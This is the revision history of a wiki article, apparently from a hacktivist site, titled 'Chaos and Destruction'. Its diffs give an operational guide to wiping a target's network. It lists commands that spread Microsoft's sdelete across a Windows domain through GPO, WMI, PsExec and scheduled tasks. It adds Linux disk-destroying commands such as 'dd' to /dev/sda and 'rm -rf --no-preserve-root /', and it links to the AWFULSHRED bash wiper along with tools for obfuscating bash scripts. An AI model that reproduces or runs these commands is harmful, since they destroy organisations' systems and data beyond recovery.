Chaos and Destruction - Revision history

Booda: /* Wiping Linux System */

2024-03-25T17:54:02Z

Wiping Linux System

← Older revision		Revision as of 17:54, 25 March 2024
Line 69:		Line 69:
	=== Wiping Linux System ===		=== Wiping Linux System ===
	After you have identified all of your targets internal Linux servers and are able to access them, you can utilize a [https://0xjet.github.io/3OHA/2022/12/18/post.html bash wiper] to destroy those servers whilst sdelete64.exe is destroying the Windows systems.		After you have identified all of your targets internal Linux servers and are able to access them, you can utilize a [https://0xjet.github.io/3OHA/2022/12/18/post.html bash wiper] to destroy those servers whilst sdelete64.exe is destroying the Windows systems.
	* https://web.archive.org/web/20230724204753/https://pastebin.com/raw/1LcPihYr ([https://github.com/0xjet/bash-malware/blob/main/AWFULSHRED/AWFULSHRED_beautified.zip source])		* Bash Wiper: https://web.archive.org/web/20230724204753/https://pastebin.com/raw/1LcPihYr ([https://github.com/0xjet/bash-malware/blob/main/AWFULSHRED/AWFULSHRED_beautified.zip source])
	** A Node.js CLI tool and library to heavily obfuscate bash scripts: https://www.npmjs.com/package/bash-obfuscate		** A Node.js CLI tool and library to heavily obfuscate bash scripts: https://www.npmjs.com/package/bash-obfuscate
	** Shell script compiler: https://packages.debian.org/bullseye/shc		** Shell script compiler: https://packages.debian.org/bullseye/shc

Booda: /* Linux */

2024-03-25T17:53:05Z

Linux

← Older revision		Revision as of 17:53, 25 March 2024
Line 72:		Line 72:
	** A Node.js CLI tool and library to heavily obfuscate bash scripts: https://www.npmjs.com/package/bash-obfuscate		** A Node.js CLI tool and library to heavily obfuscate bash scripts: https://www.npmjs.com/package/bash-obfuscate
	** Shell script compiler: https://packages.debian.org/bullseye/shc		** Shell script compiler: https://packages.debian.org/bullseye/shc

	~~Complete obliteration:~~
	* <code>sudo dd if=/dev/urandom of=/dev/sda bs=4M status=progress</code>

Booda: /* Linux */

2024-03-25T17:46:20Z

Linux

← Older revision		Revision as of 17:46, 25 March 2024
Line 74:		Line 74:

	Complete obliteration:		Complete obliteration:
	* <code>sudo ~~rm -rf --no-preserve-root~~ /</code>		* <code>sudo dd if=/dev/urandom of=/dev/sda bs=4M status=progress</code>

Booda: /* Method 2 - WMI */

2023-10-03T01:59:17Z

Method 2 - WMI

← Older revision		Revision as of 01:59, 3 October 2023
Line 18:		Line 18:

	==== Method 2 - WMI ====		==== Method 2 - WMI ====
	Using batch files to spread sdelete64.exe utilizing Windows Management Instrumentation (WMI)		[https://github.com/ForbiddenProgrammer/conti-pentester-guide-leak/blob/main/Manual_CS.txt Using batch files to spread] sdelete64.exe utilizing Windows Management Instrumentation (WMI)

	On the domain controller (DC) get a list of server names:		On the domain controller (DC) get a list of server names:

Booda: /* Wiping Linux System */

2023-09-30T19:21:27Z

Wiping Linux System

← Older revision		Revision as of 19:21, 30 September 2023
Line 72:		Line 72:
	** A Node.js CLI tool and library to heavily obfuscate bash scripts: https://www.npmjs.com/package/bash-obfuscate		** A Node.js CLI tool and library to heavily obfuscate bash scripts: https://www.npmjs.com/package/bash-obfuscate
	** Shell script compiler: https://packages.debian.org/bullseye/shc		** Shell script compiler: https://packages.debian.org/bullseye/shc

			Complete obliteration:
			* <code>sudo rm -rf --no-preserve-root /</code>

Booda: /* Method 4 */

2023-09-30T19:19:17Z

Method 4

← Older revision		Revision as of 19:19, 30 September 2023
Line 48:		Line 48:
	* <code>start PsExec.exe -d @:\\127.0.0.1\C$\Windows\Temp\servers.txt -u DOMAIN\Administrator -p Passw0rd123! cmd /c C:\Windows\sdelete64.exe -accepteula -r -s C:\*</code>		* <code>start PsExec.exe -d @:\\127.0.0.1\C$\Windows\Temp\servers.txt -u DOMAIN\Administrator -p Passw0rd123! cmd /c C:\Windows\sdelete64.exe -accepteula -r -s C:\*</code>

	==== Method 4 ====		==== Method 4 - Schtasks ====
	Using [https://learn.microsoft.com/en-us/windows/win32/taskschd/schtasks Windows scheduled tasks] to execute sdelete64.exe on remote systems (also good for lateral movement):		Using [https://learn.microsoft.com/en-us/windows/win32/taskschd/schtasks Windows scheduled tasks] to execute sdelete64.exe on remote systems (also good for lateral movement):

Booda: /* Method 2 */

2023-09-30T19:18:54Z

Method 2

← Older revision		Revision as of 19:18, 30 September 2023
Line 17:		Line 17:
	* [https://enlacehacktivista.org/index.php?title=Pronico#Video_Timeline Guacamaya] (2:13:35 Wiping windows domain with [https://learn.microsoft.com/en-us/sysinternals/downloads/sdelete sdelete] on the domain controller) <code>sdelete64.exe -accepteula -r -s C:\*</code>		* [https://enlacehacktivista.org/index.php?title=Pronico#Video_Timeline Guacamaya] (2:13:35 Wiping windows domain with [https://learn.microsoft.com/en-us/sysinternals/downloads/sdelete sdelete] on the domain controller) <code>sdelete64.exe -accepteula -r -s C:\*</code>

	==== Method 2 ====		==== Method 2 - WMI ====
	Using batch files to spread sdelete64.exe utilizing Windows Management Instrumentation (WMI)		Using batch files to spread sdelete64.exe utilizing Windows Management Instrumentation (WMI)

Booda: /* Method 1 */

2023-09-30T19:18:42Z

Method 1

← Older revision		Revision as of 19:18, 30 September 2023
Line 13:		Line 13:
	When it comes time to destroy your targets network as demonstrated by the [https://kolektiva.media/w/twJjCTkvumnugRy61BjD3T Hack Back video Guacamaya made] it's best to use [https://learn.microsoft.com/en-us/sysinternals/downloads/sdelete sdelete] as it's a Microsoft developed and signed application removing the need to disable security controls before it's spread and execution. Below we showcase various different methods to weaponize sdelete64.exe application across the network of your target.		When it comes time to destroy your targets network as demonstrated by the [https://kolektiva.media/w/twJjCTkvumnugRy61BjD3T Hack Back video Guacamaya made] it's best to use [https://learn.microsoft.com/en-us/sysinternals/downloads/sdelete sdelete] as it's a Microsoft developed and signed application removing the need to disable security controls before it's spread and execution. Below we showcase various different methods to weaponize sdelete64.exe application across the network of your target.

	==== Method 1 ====		==== Method 1 - GPO & Schtasks ====
	Using Group Policy Objects (GPO) and Scheduled tasks to spread sdelete64.exe across a domain		Using Group Policy Objects (GPO) and Scheduled tasks to spread sdelete64.exe across a domain
	* [https://enlacehacktivista.org/index.php?title=Pronico#Video_Timeline Guacamaya] (2:13:35 Wiping windows domain with [https://learn.microsoft.com/en-us/sysinternals/downloads/sdelete sdelete] on the domain controller) <code>sdelete64.exe -accepteula -r -s C:\*</code>		* [https://enlacehacktivista.org/index.php?title=Pronico#Video_Timeline Guacamaya] (2:13:35 Wiping windows domain with [https://learn.microsoft.com/en-us/sysinternals/downloads/sdelete sdelete] on the domain controller) <code>sdelete64.exe -accepteula -r -s C:\*</code>

Booda: /* Method 3 */

2023-09-30T19:17:59Z

Method 3

← Older revision		Revision as of 19:17, 30 September 2023
Line 39:		Line 39:
	* <code>start wmic /node:"<COMPUTER>" /user:"Administrator" /password:"Passw0rd123!" process call create "cmd.exe /c C:\Windows\avp.exe -accepteula -r -s C:\*"</code>		* <code>start wmic /node:"<COMPUTER>" /user:"Administrator" /password:"Passw0rd123!" process call create "cmd.exe /c C:\Windows\avp.exe -accepteula -r -s C:\*"</code>

	==== Method 3 ====		==== Method 3 - PsExec ====
	Using [https://learn.microsoft.com/en-us/sysinternals/downloads/psexec PsExec] to run sdelete64.exe across the network		Using [https://learn.microsoft.com/en-us/sysinternals/downloads/psexec PsExec] to run sdelete64.exe [https://youtu.be/oMAvSpq9fYY?feature=shared&t=2811 across the network]:

	'''Copy:'''		'''Copy:'''

Booda: /* Method 3 */

2023-09-30T15:30:58Z

Method 3

← Older revision		Revision as of 15:30, 30 September 2023
Line 42:		Line 42:
	Using [https://learn.microsoft.com/en-us/sysinternals/downloads/psexec PsExec] to run sdelete64.exe across the network		Using [https://learn.microsoft.com/en-us/sysinternals/downloads/psexec PsExec] to run sdelete64.exe across the network

	''''Copy:''''		'''Copy:'''
	* <code>PsExec.exe -accepteula @C:\Windows\Temp\servers.txt -u DOMAIN\Administrator -p Passw0rd123! cmd /c copy "\\127.0.0.1\C$\Windows\Temp\sdelete64.exe" "C:\Windows"</code>		* <code>PsExec.exe -accepteula @C:\Windows\Temp\servers.txt -u DOMAIN\Administrator -p Passw0rd123! cmd /c copy "\\127.0.0.1\C$\Windows\Temp\sdelete64.exe" "C:\Windows"</code>

	''''Execute:''''		'''Execute:'''
	* <code>start PsExec.exe -d @:\\127.0.0.1\C$\Windows\Temp\servers.txt -u DOMAIN\Administrator -p Passw0rd123! cmd /c C:\Windows\sdelete64.exe -accepteula -r -s C:\*</code>		* <code>start PsExec.exe -d @:\\127.0.0.1\C$\Windows\Temp\servers.txt -u DOMAIN\Administrator -p Passw0rd123! cmd /c C:\Windows\sdelete64.exe -accepteula -r -s C:\*</code>